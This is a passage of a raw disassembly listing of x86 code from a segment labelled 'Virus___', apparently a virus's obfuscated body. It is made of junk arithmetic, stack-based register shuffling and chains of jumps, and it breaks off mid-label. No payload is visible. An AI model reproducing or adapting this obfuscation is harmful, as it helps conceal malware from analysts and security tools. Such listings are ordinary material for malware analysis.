loc_58709A:				; CODE XREF: Virus___:00594295j
		xor	edx, [esp]
		jmp	loc_581DD6
; ---------------------------------------------------------------------------


loc_5870A2:				; CODE XREF: Virus___:005944DFj
		mov	eax, 6C8A0324h
		sub	eax, 46403619h
		sub	eax, ecx
		jmp	loc_581CE3
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		push	esi
		push	1FF7h
		mov	[esp], esp
		jmp	loc_592D9A
; ---------------------------------------------------------------------------


loc_5870C5:				; CODE XREF: Virus___:005891FAj
		push	edx
		mov	edx, 5011628Eh
		jmp	loc_586D5B
; ---------------------------------------------------------------------------


loc_5870D0:				; CODE XREF: Virus___:00592FBAj
		add	esp, 4
		inc	ch
		push	bx
		mov	bl, 0FFh
		sub	ch, 6Bh
		sub	ch, bl
		push	eax
		mov	ah, 41h
		or	ah, 0BBh
		push	edx
		mov	dh, 0B6h
		xor	ah, dh
		mov	edx, [esp]
		add	esp, 4
		shl	ah, 2
		shl	ah, 6
		add	ah, 6Bh
		add	ch, ah
		pop	eax
		pop	bx
		inc	ch
		inc	ch
		add	ch, 87h
		xor	ch, 7Ch
		jmp	loc_58D519
; ---------------------------------------------------------------------------


loc_58710C:				; CODE XREF: Virus___:00590466j
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		pop	esp
		and	eax, edx
		jmp	loc_58AD89
; ---------------------------------------------------------------------------


loc_587120:				; CODE XREF: Virus___:00582358j
		push	ebx
		jmp	loc_589899
; ---------------------------------------------------------------------------


loc_587126:				; CODE XREF: Virus___:00586A9Bj
		sub	ebx, edx
		jmp	loc_589A68
; ---------------------------------------------------------------------------


loc_58712D:				; CODE XREF: Virus___:0058CEE2j
		add	edi, eax
		jmp	loc_59359B
; ---------------------------------------------------------------------------


loc_587134:				; CODE XREF: Virus___:0059004Fj
		xor	ecx, 304CF1FEh
		jmp	loc_5912DC
; ---------------------------------------------------------------------------


loc_58713F:				; CODE XREF: Virus___:00585E34j
		add	esp, 4
		xor	eax, 23E905D9h
		pop	ebx
		and	ecx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5944FE
; ---------------------------------------------------------------------------


loc_587159:				; CODE XREF: Virus___:00586868j
		sub	edi, 145A01BFh
		jmp	loc_57F77A
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	0F7Bh
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_5860EC
; ---------------------------------------------------------------------------


loc_587177:				; CODE XREF: Virus___:00592071j
		or	ch, 0E0h
		and	ch, 10h
		push	eax
		mov	ah, 0DEh
		jmp	loc_58BC47
; ---------------------------------------------------------------------------
		push	53947h
		jmp	loc_58D4DB
; ---------------------------------------------------------------------------


loc_58718F:				; CODE XREF: Virus___:0058BF7Cj
		mov	[esp], esi
		push	661Dh
		mov	[esp], ebx
		push	3CB31B1Dh
		jmp	loc_588756
; ---------------------------------------------------------------------------


loc_5871A4:				; CODE XREF: Virus___:0058B1CBj
		mov	edx, esp
		jmp	loc_59226A
; ---------------------------------------------------------------------------


loc_5871AB:				; CODE XREF: Virus___:00590B82j
		pop	ecx
		push	ebp
		jmp	loc_58AD03
; ---------------------------------------------------------------------------


loc_5871B2:				; CODE XREF: Virus___:00586DEEj
		pop	eax
		and	ah, 0Ch
		jmp	loc_589C0C
; ---------------------------------------------------------------------------


loc_5871BB:				; CODE XREF: Virus___:0058C6CDj
		push	1CFh
		mov	[esp], eax
		jmp	loc_583645
; ---------------------------------------------------------------------------


loc_5871C8:				; CODE XREF: Virus___:005869ABj
		sub	ebx, eax
		push	dword ptr [esp]
		jmp	loc_58A9E6
; ---------------------------------------------------------------------------


loc_5871D2:				; CODE XREF: Virus___:005874C0j
		pop	ebx
		add	ebx, 4
		push	edx
		push	4E81h
		mov	[esp], ecx
		mov	ecx, 378A41E8h
		neg	ecx
		push	edx
		mov	edx, 19FA0D4Dh
		neg	edx
		xor	edx, 0C7C4B179h
		add	ecx, edx
		pop	edx
		jmp	loc_58C417
; ---------------------------------------------------------------------------


loc_5871FF:				; CODE XREF: Virus___:005814FAj
		push	ebx
		push	531h
		mov	[esp], eax
		jmp	loc_57F435
; ---------------------------------------------------------------------------


loc_58720D:				; CODE XREF: Virus___:0058DFCDj
		pop	edx
		push	ebp
		push	5A58h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_593F49
; ---------------------------------------------------------------------------


loc_587221:				; CODE XREF: Virus___:0058758Dj
		sub	eax, ebx
		jmp	loc_5805E3
; ---------------------------------------------------------------------------


loc_587228:				; CODE XREF: Virus___:0058B12Cj
		push	ebp
		mov	ebp, 3E0B2B67h
		mov	esi, ebp
		pop	ebp
		xchg	ebx, esi
		jmp	loc_593CF3
; ---------------------------------------------------------------------------


loc_587238:				; CODE XREF: Virus___:00584CCFj
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		push	3156h
		jmp	loc_58FA07
; ---------------------------------------------------------------------------


loc_587252:				; CODE XREF: Virus___:0058381Cj
		mov	ebp, ebx
		pop	ebx
		sub	ebp, 79871489h
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_585E19
; ---------------------------------------------------------------------------


loc_587266:				; CODE XREF: Virus___:00582E49j
		mov	esp, [esp]
		push	edx
		mov	dh, 0F1h
		xor	dh, ch
		xor	ch, dh
		xor	dh, ch
		jmp	loc_586ECD
; ---------------------------------------------------------------------------


loc_587277:				; CODE XREF: Virus___:0058843Ej
		shr	ebx, 4
		shl	ebx, 3
		shr	ebx, 8
		add	ebx, 5CBBB584h
		mov	edi, ebx
		pop	ebx
		xor	esi, edi
		pop	edi
		mov	ecx, [esp]
		jmp	loc_580556
; ---------------------------------------------------------------------------


loc_587294:				; CODE XREF: Virus___:005923C1j
		pop	ecx
		sub	dh, 7Fh
		sub	dh, ah
		push	bx
		mov	bl, 7Fh
		add	dh, bl
		pop	bx
		sub	dh, 5Ch
		mov	eax, [esp]
		add	esp, 4
		add	al, 0CEh
		add	al, dh
		sub	al, 0CEh
		pop	edx
		sub	bl, al
		pop	eax
		jmp	loc_584F2D
; ---------------------------------------------------------------------------


loc_5872BD:				; CODE XREF: Virus___:00593B8Dj
		sub	edi, 0ED72E81h
		sub	edx, edi
		jmp	loc_593B35
; ---------------------------------------------------------------------------


loc_5872CA:				; CODE XREF: Virus___:00592199j
		sub	edi, ecx
		add	edi, 3A402FEAh
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 0D6C84377h
		sub	edi, esi
		pop	esi
		push	ebx
		mov	ebx, edi
		mov	edx, ebx
		pop	ebx
		jmp	loc_58A419
; ---------------------------------------------------------------------------


loc_5872EC:				; CODE XREF: Virus___:00581A0Fj
		xor	ebp, [esp]
		mov	esp, [esp]
		push	ebp
		jmp	loc_584C3A
; ---------------------------------------------------------------------------


loc_5872F8:				; CODE XREF: Virus___:00587D67j
		add	al, ch
		sub	al, 0B0h
		jmp	loc_58F1AB
; ---------------------------------------------------------------------------
		push	small 4164h
		push	small 7426h
		jmp	loc_5942B9
; ---------------------------------------------------------------------------


loc_58730E:				; CODE XREF: Virus___:0059217Ej
		add	ebx, 0AC6C17EEh
		add	ecx, ebx
		jmp	loc_582D58
; ---------------------------------------------------------------------------


loc_58731B:				; CODE XREF: Virus___:0058B500j
		xor	edx, ebp
		inc	ebp
		push	3967h
		mov	[esp], edx
		push	ebp
		pop	edx
		jmp	loc_585F53
; ---------------------------------------------------------------------------


loc_58732D:				; CODE XREF: Virus___:00590038j
		add	esp, 4
		push	ecx
		mov	ecx, ebx
		push	ecx
		push	ebx
		mov	ebx, 34442112h
		xor	[esp+4], ebx
		pop	ebx
		pop	eax
		xor	eax, 34442112h
		pop	ecx
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_582120
; ---------------------------------------------------------------------------


loc_587368:				; CODE XREF: Virus___:00585447j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_58019D
; ---------------------------------------------------------------------------


loc_58737B:				; CODE XREF: Virus___:0059242Bj
		mov	ebp, 623D732Bh
		or	ebp, 7BD16CF1h
		neg	ebp
		and	ebp, 75771FDDh
		shr	ebp, 3
		xor	ebp, 499F566Ah
		sub	ecx, ebp
		pop	ebp
		jmp	loc_584147
; ---------------------------------------------------------------------------


loc_58739F:				; CODE XREF: Virus___:00584F13j
		add	ebx, esi
		pop	esi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_589070
; ---------------------------------------------------------------------------
		dd 0E9242489h, 0FFFFC4DCh
; ---------------------------------------------------------------------------


loc_5873C4:				; CODE XREF: Virus___:0058A314j
		and	bl, 7Dh
		not	bl
		sub	bl, 0C2h
		mov	ch, bl
		pop	ebx
		add	ah, ch
		mov	cx, [esp]
		add	esp, 2
		mov	dl, ah
		jmp	loc_589D00
; ---------------------------------------------------------------------------


loc_5873DF:				; CODE XREF: Virus___:0058CCF0j
		add	edx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		jmp	loc_581B2B
; ---------------------------------------------------------------------------


loc_5873F4:				; CODE XREF: Virus___:00580F71j
		div	cx
		push	5CEFh
		mov	[esp], edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_583810
; ---------------------------------------------------------------------------


loc_58740F:				; CODE XREF: Virus___:00583977j
		add	esp, 4
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58741A:				; CODE XREF: Virus___:00591B9Fj
		pop	eax
		sub	eax, 7FC27C87h
		add	eax, ecx
		add	eax, 7FC27C87h
		add	[eax], edx
		pop	eax
		jmp	loc_593553
; ---------------------------------------------------------------------------


loc_58742F:				; CODE XREF: Virus___:00589CFBj
		push	ebp
		mov	ebp, 433A49A6h
		inc	ebp
		shl	ebp, 7
		add	ebp, 64AC2D4Ch
		sub	eax, 53561DB5h
		sub	eax, ebp
		add	eax, 53561DB5h
		jmp	loc_58E8CF
; ---------------------------------------------------------------------------


loc_587450:				; CODE XREF: Virus___:00586C3Fj
		push	edi
		mov	edi, 58166266h
		xor	edi, 20785132h
		xor	edi, 7AEC587Ah
		mov	eax, edi
		pop	edi
		jmp	loc_580689
; ---------------------------------------------------------------------------


loc_58746A:				; CODE XREF: Virus___:0058C58Bj
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	eax
		mov	eax, esp
		jmp	loc_580606
; ---------------------------------------------------------------------------


loc_58748D:				; CODE XREF: Virus___:005861A2j
		sub	ecx, 56A8064Dh
		jmp	loc_586C89
; ---------------------------------------------------------------------------


loc_587498:				; CODE XREF: Virus___:00585F39j
		add	edi, 75224AE5h
		add	edi, esi
		jmp	loc_58CEA5
; ---------------------------------------------------------------------------


loc_5874A5:				; CODE XREF: Virus___:00583799j
		pop	edx
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	eax, 64D570CDh
		jmp	loc_58CF82
; ---------------------------------------------------------------------------


loc_5874BC:				; CODE XREF: Virus___:0058029Fj
		mov	[esp], ebx
		push	esp
		jmp	loc_5871D2
; ---------------------------------------------------------------------------


loc_5874C5:				; CODE XREF: Virus___:0058034Cj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		push	eax
		push	7657h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		add	esi, 4
		jmp	loc_591E50
; ---------------------------------------------------------------------------


loc_587504:				; CODE XREF: Virus___:0058D697j
		add	esp, 4
		pop	ebx
		sub	ebx, 221517FAh
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ebx, 0CEE3121h
		add	ebx, edi
		sub	ebx, 0CEE3121h
		jmp	loc_58A78C
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		push	small 494Fh
		mov	[esp], ax
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_587546:				; CODE XREF: Virus___:0058616Fj
		add	esi, 36DF4FA6h
		jmp	loc_583C5E
; ---------------------------------------------------------------------------


loc_587551:				; CODE XREF: Virus___:0057FDDCj
		mov	ebp, 14124FF0h
		jmp	loc_58FBE6
; ---------------------------------------------------------------------------


loc_58755B:				; CODE XREF: Virus___:00587034j
		shr	ebx, 6
		shr	ebx, 5
		jmp	loc_584EAA
; ---------------------------------------------------------------------------


loc_587566:				; CODE XREF: Virus___:0058E57Ej
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	ecx
		jmp	loc_58425C
; ---------------------------------------------------------------------------


loc_58757A:				; CODE XREF: Virus___:0058543Ej
		push	ecx
		mov	ecx, 509420E8h
		shr	ecx, 1
		inc	ecx
		jmp	loc_5880B3
; ---------------------------------------------------------------------------


loc_587588:				; CODE XREF: Virus___:0058E7FAj
		mov	ebx, 0EB4E2BC9h
		jmp	loc_587221
; ---------------------------------------------------------------------------


loc_587592:				; CODE XREF: Virus___:0058C98Cj
		mov	ecx, edi
		jmp	loc_58CE9E
; ---------------------------------------------------------------------------


loc_587599:				; CODE XREF: Virus___:00583D62j
		shl	eax, 2
		sub	eax, 0ED24CF75h
		jmp	loc_590803
; ---------------------------------------------------------------------------


loc_5875A6:				; CODE XREF: Virus___:005897B2j
		pop	edx
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	edx
		jmp	loc_58A5E2
; ---------------------------------------------------------------------------


loc_5875B3:				; CODE XREF: Virus___:0058E62Fj
		sub	ecx, edi
		push	dword ptr [esp]
		pop	edi
		push	esi
		jmp	loc_582DF7
; ---------------------------------------------------------------------------


loc_5875BF:				; CODE XREF: Virus___:0058053Aj
		push	0CF7h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 32913452h
		mov	ebx, edx
		pop	edx
		sub	ebx, 0ED8B0498h
		sub	ecx, 9A812F5h
		sub	ecx, 38046F2Eh
		sub	ecx, ebx
		jmp	loc_58BF4B
; ---------------------------------------------------------------------------


loc_5875EE:				; CODE XREF: Virus___:005805DEj
		pop	edi
		xchg	eax, [esp]
		jmp	loc_588AFF
; ---------------------------------------------------------------------------


loc_5875F7:				; CODE XREF: Virus___:005812F4j
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58129A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		mov	ecx, [esp]
		jmp	loc_58867F
; ---------------------------------------------------------------------------


loc_58762B:				; CODE XREF: Virus___:005803F3j
		pop	esp
		jmp	loc_5848E5
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		push	esp
		pop	ecx
		push	3E86h
		mov	[esp], ebp
		push	0E404009h
		pop	ebp
		jmp	loc_592FE9
; ---------------------------------------------------------------------------


loc_58764B:				; CODE XREF: Virus___:00580022j
		mov	ebp, [esp]
		add	esp, 4
		pop	eax
		jmp	loc_58DB35
; ---------------------------------------------------------------------------


loc_58765A:				; CODE XREF: Virus___:0058F50Aj
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_581978
; ---------------------------------------------------------------------------


loc_587665:				; CODE XREF: Virus___:00592ADAj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_580128
; ---------------------------------------------------------------------------


loc_587673:				; CODE XREF: Virus___:0058965Aj
		inc	edi
		add	edi, 6DBF7F52h
		xor	ebp, edi
		pop	edi
		xor	ebp, 74F37C71h
		jmp	loc_59279E
; ---------------------------------------------------------------------------


loc_587688:				; CODE XREF: Virus___:0058B746j
		sub	eax, edi
		pop	edi
		push	small word ptr [eax]
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_587693:				; CODE XREF: Virus___:005864ECj
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		xchg	ebx, [esp]
		jmp	loc_585D06
; ---------------------------------------------------------------------------


loc_5876A4:				; CODE XREF: Virus___:0058B843j
		mov	esp, [esp]
		imul	ecx
		push	ebp
		jmp	loc_586C7A
; ---------------------------------------------------------------------------


loc_5876AF:				; CODE XREF: Virus___:00588C51j
		xchg	cl, dh
		dec	dh
		xor	dh, 0BFh
		sub	al, 5Ah
		add	al, dh
		jmp	loc_58E75E
; ---------------------------------------------------------------------------


loc_5876BF:				; CODE XREF: Virus___:0058915Ej
		mov	esp, [esp]
		jmp	loc_580B2D
; ---------------------------------------------------------------------------


loc_5876C7:				; CODE XREF: Virus___:005851BCj
		mov	edx, 62796ACAh
		or	edx, 3FBC23FAh
		add	edx, 374568EEh
		sub	edx, 570A080Ah
		xor	edx, 5CA003F6h
		sub	edx, 0CF6C9D1Fh
		and	ebp, edx
		pop	edx
		add	ebp, 59D67137h
		jmp	loc_582B84
; ---------------------------------------------------------------------------


loc_5876F8:				; CODE XREF: Virus___:00588209j
		push	ecx
		xor	dword ptr [esp], 23A0509h
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, 23A0509h
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_58236C
; ---------------------------------------------------------------------------


loc_587717:				; CODE XREF: Virus___:005883C1j
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	edi
		push	ecx
		mov	ecx, 436B3836h
		shl	ecx, 4
		shr	ecx, 1
		xor	ecx, 2273AC38h
		jmp	loc_57F71D
; ---------------------------------------------------------------------------


loc_587733:				; CODE XREF: Virus___:00588120j
		mov	cl, dh
		pop	edx
		sub	cl, bh
		mov	ebx, [esp]
		jmp	loc_584A7B
; ---------------------------------------------------------------------------


loc_587740:				; CODE XREF: Virus___:0058B639j
		xor	esi, 25406E8Ch
		push	ebx
		jmp	loc_58B807
; ---------------------------------------------------------------------------


loc_58774C:				; CODE XREF: Virus___:00586F04j
		sub	eax, 737E4693h
		push	edi
		jmp	loc_584EEE
; ---------------------------------------------------------------------------


loc_587757:				; CODE XREF: Virus___:00581081j
		sub	esi, ebx
		pop	ebx
		sub	esi, ebp
		pop	ebp
		shl	esi, 1
		xor	esi, 72F94AC1h
		push	146Dh
		jmp	loc_5938E9
; ---------------------------------------------------------------------------


loc_58776F:				; CODE XREF: Virus___:00582C72j
		push	esi
		mov	esi, 6C495752h
		jmp	loc_58AC77
; ---------------------------------------------------------------------------


loc_58777A:				; CODE XREF: Virus___:005842A5j
		mov	[esp], ebp
		mov	ebp, 1FD527A3h
		jmp	loc_59128C
; ---------------------------------------------------------------------------


loc_587787:				; CODE XREF: Virus___:005806C1j
		sub	edx, eax
		pop	eax
		jmp	loc_588D55
; ---------------------------------------------------------------------------


loc_58778F:				; CODE XREF: Virus___:00593905j
		pop	ebp
		push	ebp
		mov	ebp, 3A746FC2h
		and	ebp, 71815C07h
		neg	ebp
		inc	ebp
		shl	ebp, 3
		sub	ebp, 4453B5Eh
		xor	ebx, ebp
		pop	ebp
		add	edx, ebx
		jmp	loc_5931B2
; ---------------------------------------------------------------------------


loc_5877B2:				; CODE XREF: Virus___:0058CE02j
		add	eax, edi
		pop	edi
		shl	eax, 3
		jmp	loc_583011
; ---------------------------------------------------------------------------


loc_5877BD:				; CODE XREF: Virus___:0058D60Ej
		pop	ecx
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		dec	eax
		not	eax
		push	ebx
		mov	ebx, 78964C62h
		sub	ebx, 76CE6EBBh
		jmp	loc_588E34
; ---------------------------------------------------------------------------


loc_5877DD:				; CODE XREF: Virus___:0058014Aj
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		push	ebp
		sub	esp, 4
		push	1034h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_58C586
; ---------------------------------------------------------------------------


loc_587803:				; CODE XREF: Virus___:00588914j
		inc	al
		jmp	loc_592DF8
; ---------------------------------------------------------------------------


loc_58780A:				; CODE XREF: Virus___:00593041j
		xor	esi, [esp]
		pop	esp
		push	ebp
		mov	ebp, 1DB22EA1h
		sub	[esp+4], ebp
		pop	ebp
		push	0A01h
		mov	[esp], edi
		push	esi
		mov	esi, 68D9182Ah
		jmp	loc_59445B
; ---------------------------------------------------------------------------


loc_58782C:				; CODE XREF: Virus___:00590B1Aj
		xor	ebp, 33866E08h
		jmp	loc_592882
; ---------------------------------------------------------------------------


loc_587837:				; CODE XREF: Virus___:005814E1j
		push	363h
		mov	[esp], edx
		jmp	loc_59042B
; ---------------------------------------------------------------------------


loc_587844:				; CODE XREF: Virus___:0058CEC7j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		jmp	loc_58C22D
; ---------------------------------------------------------------------------


loc_58785A:				; CODE XREF: Virus___:00588653j
		pop	eax
		add	ebx, 3C420E5Fh
		add	ebx, eax
		push	ecx
		mov	ecx, 3B86408Eh
		or	ecx, 287B73CCh
		sub	ecx, 0FFBD656Fh
		sub	ebx, ecx
		pop	ecx
		pop	eax
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_58B840
; ---------------------------------------------------------------------------


loc_587884:				; CODE XREF: Virus___:00583285j
		pop	edi
		push	esi
		mov	esi, 1A52D83h
		push	5729h
		mov	[esp], esi
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_58951D
; ---------------------------------------------------------------------------


loc_58789E:				; CODE XREF: Virus___:005816C5j
		mov	eax, esp
		add	eax, 4
		jmp	loc_588718
; ---------------------------------------------------------------------------


loc_5878AA:				; CODE XREF: Virus___:0059022Fj
		pop	edx
		sub	ecx, ebp
		pop	ebp
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_591318
; ---------------------------------------------------------------------------


loc_5878C5:				; CODE XREF: Virus___:0058ACA7j
		mov	[esp], esi
		mov	esi, 32B31FFCh
		inc	esi
		shl	esi, 3
		dec	esi
		inc	esi
		dec	esi
		add	esi, 8C104A16h
		add	ebp, esi
		pop	esi
		add	ebp, eax
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 21A949FDh
		sub	ebp, eax
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_589B4F
; ---------------------------------------------------------------------------


loc_587911:				; CODE XREF: Virus___:0058DADDj
		not	ebp
		or	ebp, 73953E87h
		inc	ebp
		add	ebp, 80024h
		sub	eax, 490A5D85h
		add	eax, ebp
		add	eax, 490A5D85h
		pop	ebp
		push	ecx
		jmp	loc_583D2D
; ---------------------------------------------------------------------------


loc_587933:				; CODE XREF: Virus___:0058F742j
		add	eax, ebp
		pop	ebp
		push	ebp
		mov	ebp, 4
		jmp	loc_58B8A5
; ---------------------------------------------------------------------------


loc_587941:				; CODE XREF: Virus___:0057F502j
		mov	eax, 50E808A8h
		dec	eax
		push	ecx
		mov	ecx, 12282DF4h
		or	eax, ecx
		pop	ecx
		shr	eax, 6
		jmp	loc_58CDA8
; ---------------------------------------------------------------------------


loc_587958:				; CODE XREF: Virus___:0059013Aj
		add	eax, 90048825h
		add	esi, 2BC35E76h
		add	esi, eax
		sub	esi, 2BC35E76h
		pop	eax
		jmp	loc_588443
; ---------------------------------------------------------------------------


loc_587971:				; CODE XREF: Virus___:005884F7j
		pop	edx
		push	eax
		mov	eax, 2AD20663h
		dec	eax
		shr	eax, 6
		inc	eax
		jmp	loc_590547
; ---------------------------------------------------------------------------


loc_587982:				; CODE XREF: Virus___:0057F926j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_593EA4
; ---------------------------------------------------------------------------


loc_58798D:				; CODE XREF: Virus___:00580BEAj
		push	eax
		mov	al, 0B1h
		shl	al, 3
		and	al, 71h
		sub	al, 6Dh
		mov	bh, al
		jmp	loc_585E39
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		jmp	loc_585CC6
; ---------------------------------------------------------------------------
		mov	edx, [esp]
		push	1D3Dh
		mov	[esp], ebp
		push	esp
		jmp	loc_58BD2F
; ---------------------------------------------------------------------------


loc_5879B7:				; CODE XREF: Virus___:0058868Aj
		mov	[esp], edx
		mov	edx, 4
		sub	eax, 32E865D9h
		add	eax, edx
		jmp	loc_589881
; ---------------------------------------------------------------------------


loc_5879CB:				; CODE XREF: Virus___:0059026Aj
		mov	[esp], ebp
		jmp	loc_58B4C6
; ---------------------------------------------------------------------------


loc_5879D3:				; CODE XREF: Virus___:0057FA6Fj
		mov	ebx, [esp]
		push	edx
		jmp	loc_589F97
; ---------------------------------------------------------------------------


loc_5879DC:				; CODE XREF: Virus___:00591336j
		add	[esp+4], ecx
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_593E6E
; ---------------------------------------------------------------------------


loc_5879EC:				; CODE XREF: Virus___:00583C72j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_58824A
; ---------------------------------------------------------------------------


loc_587A03:				; CODE XREF: Virus___:00582F78j
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 28B5295Ch
		add	edi, 1
		dec	edi
		add	edi, 50EE36BBh
		shl	edi, 3
		neg	edi
		sub	edi, 32E4FF44h
		jmp	loc_594084
; ---------------------------------------------------------------------------


loc_587A29:				; CODE XREF: Virus___:0058A61Ej
		mov	[esp], edx
		push	2
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_585475
; ---------------------------------------------------------------------------


loc_587A3C:				; CODE XREF: Virus___:00591C1Dj
		xor	ecx, 1AD332A3h
		sub	ecx, 0C6AA2F51h
		xor	edi, ecx
		pop	ecx
		push	ebx
		mov	ebx, 6F8F1FABh
		sub	ebx, 52A07DC4h
		jmp	loc_58406B
; ---------------------------------------------------------------------------


loc_587A5C:				; CODE XREF: Virus___:00587F1Ej
		add	bl, 5Dh
		push	eax
		mov	al, 0B3h
		sub	esp, 2
		mov	[esp], cx
		mov	ch, 7Ch
		jmp	loc_588D82
; ---------------------------------------------------------------------------


loc_587A73:				; CODE XREF: Virus___:0058A10Dj
		add	dword ptr [esp], 4
		pop	ebx
		push	eax
		mov	eax, 4
		push	ebp
		mov	ebp, 59EB34EFh
		not	ebp
		push	edx
		mov	edx, 2D243302h
		shr	edx, 4
		jmp	loc_582F7D
; ---------------------------------------------------------------------------


loc_587A97:				; CODE XREF: Virus___:0057F6E4j
		pop	eax
		push	1D83h
		mov	[esp], ebx
		jmp	loc_5836A1
; ---------------------------------------------------------------------------


loc_587AA5:				; CODE XREF: Virus___:005929D7j
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		jmp	loc_58A882
; ---------------------------------------------------------------------------


loc_587AAF:				; CODE XREF: Virus___:0059353Aj
		inc	dh
		sub	dh, 0A7h
		add	dh, 4Eh
		or	ah, dh
		pop	edx
		push	edx
		mov	dl, 0B5h
		or	dl, 7Ah
		push	ecx
		mov	cl, 4Ah
		add	cl, 2Ch
		shr	cl, 3
		jmp	loc_58409C
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		mov	bh, 3Ch
		mov	dl, bh
		pop	ebx
		jmp	loc_58ADEE
; ---------------------------------------------------------------------------


loc_587AE2:				; CODE XREF: Virus___:0058D208j
		pop	esi
		shl	ebx, 4
		dec	ebx
		jmp	loc_5800BE
; ---------------------------------------------------------------------------


loc_587AEC:				; CODE XREF: Virus___:005863F5j
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_591D5B
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 0AEE68FDh
		shr	ecx, 7
		add	ecx, 18F840E1h
		shr	ecx, 5
		shl	ecx, 2
		push	ebp
		jmp	loc_587FA8
; ---------------------------------------------------------------------------


loc_587B2D:				; CODE XREF: Virus___:0058D708j
		pop	esi
		push	edx
		mov	edx, 4FA00F84h
		or	edx, 54876FB7h
		or	edx, 221A7622h
		add	edx, 0E671D639h
		jmp	loc_5837DD
; ---------------------------------------------------------------------------


loc_587B4B:				; CODE XREF: Virus___:00581A46j
		add	eax, edx
		sub	esp, 4
		jmp	loc_58D7CB
; ---------------------------------------------------------------------------


loc_587B58:				; CODE XREF: Virus___:0059398Ej
		add	ebx, esi
		sub	ebx, 7C2649BEh
		pop	esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_58F9CF
; ---------------------------------------------------------------------------


loc_587B6A:				; CODE XREF: Virus___:00589D63j
		push	eax
		jmp	loc_586157
; ---------------------------------------------------------------------------


loc_587B70:				; CODE XREF: Virus___:00590D58j
		pop	edx
		xchg	eax, [esp]
		mov	esp, [esp]
		push	edi
		push	ebx
		mov	ebx, 5B283732h
		jmp	loc_5838BF
; ---------------------------------------------------------------------------


loc_587B83:				; CODE XREF: Virus___:005824E7j
